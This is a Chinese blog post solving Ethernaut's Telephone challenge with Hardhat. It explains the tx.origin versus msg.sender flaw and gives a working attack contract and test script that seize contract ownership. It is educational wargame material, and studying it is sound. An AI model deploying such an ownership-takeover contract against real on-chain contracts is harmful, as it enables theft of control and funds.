{"content":{"title":"用Hardhat闯关Ethernaut题4 -telephone","body":"# Telephone合约\r\n## 任务：获取合约的所有权，也就是改变owner\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\ncontract Telephone {\r\n    address public owner;\r\n\r\n    constructor() public {\r\n        owner = msg.sender;\r\n    }\r\n\r\n    function changeOwner(address _owner) public {\r\n        if (tx.origin != msg.sender) {\r\n            owner = _owner;\r\n        }\r\n    }\r\n}\r\n\r\n```\r\n这道题就是理解` tx.origin` 和` msg.sender`的区别：[https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin) 也就是说`msg.sender`不一定是个人地址，有可能是合约地址，`tx.origin`一定是个人地址，一般在写合约尽量不要使用`tx.origin`，会判断失误出现bug。\r\n\r\n解题思路：1.创建攻击合约；2.用攻击合约去调用`changeOwner`，满足` tx.origin != msg.sender`；\r\n\r\n## 攻击合约：\r\n\r\n```\r\n// SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.0;\r\n\r\ninterface Telephoneinterface {\r\n    function changeOwner(address _owner) external;\r\n}\r\n\r\ncontract AttackTelephone {\r\n    Telephoneinterface telephone;\r\n    address public owner;\r\n\r\n    constructor(address _telephone) public {\r\n        telephone = Telephoneinterface(_telephone);\r\n        owner = msg.sender;\r\n    }\r\n\r\n    function attack() public {\r\n        telephone.changeOwner(owner);\r\n    }\r\n}\r\n```\r\n## 测试脚本：\r\n\r\n```\r\nconst { expect } = require(\"chai\");\r\nconst { ethers } = require(\"hardhat\");\r\nconst { MaxUint256 } = require(\"@ethersproject/constants\");\r\nconst { BigNumber } = require(\"ethers\");\r\n\r\ndescribe(\"test\", function () {\r\n    var Telephone;\r\n    var AttackTelephone;\r\n    it(\"init params\", async function () {\r\n        [deployer, ...users] = await ethers.getSigners();\r\n    });\r\n    it(\"deploy\", async function () {\r\n        const TelephoneInstance = await ethers.getContractFactory(\"Telephone\");\r\n        Telephone = await TelephoneInstance.deploy();\r\n        const AttackTelephoneInstance = await ethers.getContractFactory(\"AttackTelephone\");\r\n        AttackTelephone = await AttackTelephoneInstance.connect(users[0]).deploy(Telephone.address);\r\n    });\r\n    it(\"hack test\", async function () {\r\n        expect(await Telephone.owner()).to.equal(deployer.address);\r\n        await AttackTelephone.attack();\r\n        expect(await Telephone.owner()).to.equal(users[0].address);\r\n    });\r\n});\r\n```\r\n\r\n## 运行结果：\r\n\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2022/09/lmIipJzZ6319bc0536e5e.png)\r\n\r\nGithub：[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)"},"author":{"user":"https://learnblockchain.cn/people/4922","address":null},"history":"QmXsdPxQiQf4TaXQ7G6xrPjf4w5nMvSYVipeqacxEzPjBN","timestamp":1668567161,"version":1}